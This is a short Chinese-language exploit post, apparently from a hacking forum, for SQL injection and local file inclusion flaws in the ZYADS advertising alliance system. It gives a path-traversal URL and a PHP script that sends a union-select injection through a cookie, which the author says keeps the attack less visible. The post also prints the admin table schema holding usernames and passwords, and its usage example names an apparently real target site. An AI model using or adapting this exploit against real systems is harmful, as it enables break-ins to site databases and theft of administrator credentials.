中易广告联盟系统(ZYADS) sql注入和本地包含漏洞

                                                /code/adview_cpa_html.php?name=admin&adid=../../index&site=www.xxx.com

最后附上一个exp，只是简单的cookie提交参数  为了隐蔽点 呵呵

<?php
//by q1ur3n
//team: http://www.wolvez.org
//exp : zyads.php?site=www.tx8688.com&id=and 1=2 union select 1,2,3,4,5,6%23
//敏感信息表信息：
/*
DROP TABLE IF EXISTS zyads_admin;
CREATE TABLE zyads_admin (
   id int(11) NOT NULL auto_increment,
   username varchar(20) NOT NULL,
   pwd varchar(50) NOT NULL,
   login_num int(11) NOT NULL,
   last_time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
   islock int(1) NOT NULL,
   ip varchar(20) NOT NULL,
   admin_flag varchar(200) NOT NULL,
   addtime datetime NOT NULL,
   PRIMARY KEY (id)
);

*/

$host = $_GET['site'];
$cmd='to_type_s='.urlencode(stripcslashes($_REQUEST["id"]));

$message = "GET /index/news.php?id=89  HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-

shockwave-flash, */*\r\n";
$message .= "Referer: http://www.baidu.com/\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Connection: Close\r\n";
$message .= "Cookie: ".$cmd."\r\n\r\n";
//echo $message;
       
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
echo $resp;
fclose($fp);
       
?>